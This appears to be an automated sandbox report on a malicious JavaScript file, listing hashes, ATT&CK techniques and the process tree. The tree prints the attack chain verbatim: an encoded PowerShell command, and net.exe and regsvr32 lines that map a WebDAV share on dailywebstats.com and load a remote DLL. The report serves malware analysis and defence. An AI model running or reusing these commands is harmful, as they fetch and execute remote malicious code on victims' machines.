a0e4f7d8fe009418f77c65b52c72ed28076edc396dba3513e003ecaff4424c4c

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
26-07-2024 08:43

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General

Target

4122150841586320226.js
Size

10KB
MD5

0c1e00f158d5d6a5c3f02e1619fdcf8a
SHA1

a7bcdad6381477938e3b40220d491edc2c505b51
SHA256

87ed1f61f8301dfc4126effbce9afa6679cfcccc6eca97f05668783bbdda7bba
SHA512

d96065191a825e8e7e87c07ed8356208db44a6e9bda1276673762fcfa1f0db2bfd4e4ce1095a2351e14ee13300740ca4ee7f4d42ae4136919d0b2158a60d2c61
SSDEEP

96:R3pqXtywTCKtblZETUglCGCMTGi+v+iM+d6xU+ugnbMjGZgpvriFMCMTGi+v+iM+:R3pqdX9lZU8AAU5WuV1AAU5W9v

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2744	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2744	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2084 wrote to memory of 2744	2084	wscript.exe	30
PID 2084 wrote to memory of 2744	2084	wscript.exe	30
PID 2084 wrote to memory of 2744	2084	wscript.exe	30
PID 2744 wrote to memory of 2636	2744	powershell.exe	32
PID 2744 wrote to memory of 2636	2744	powershell.exe	32
PID 2744 wrote to memory of 2636	2744	powershell.exe	32
PID 2744 wrote to memory of 2672	2744	powershell.exe	33
PID 2744 wrote to memory of 2672	2744	powershell.exe	33
PID 2744 wrote to memory of 2672	2744	powershell.exe	33
PID 2744 wrote to memory of 2672	2744	powershell.exe	33
PID 2744 wrote to memory of 2672	2744	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\4122150841586320226.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADYANgA4ADEANAA3ADgAMQAyADcAOAA5ADMALgBkAGwAbAA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
    3⤵
    PID:2636
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\6681478127893.dll
    3⤵
    PID:2672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2744-4-0x000007FEF531E000-0x000007FEF531F000-memory.dmp

Filesize
4KB

Download
memory/2744-5-0x000000001B520000-0x000000001B802000-memory.dmp

Filesize
2.9MB

Download
memory/2744-7-0x000007FEF5060000-0x000007FEF59FD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-6-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/2744-8-0x000007FEF5060000-0x000007FEF59FD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-9-0x000007FEF5060000-0x000007FEF59FD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-10-0x000007FEF5060000-0x000007FEF59FD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-11-0x000007FEF5060000-0x000007FEF59FD000-memory.dmp

Filesize
9.6MB

Download
memory/2744-12-0x000007FEF5060000-0x000007FEF59FD000-memory.dmp

Filesize
9.6MB

Download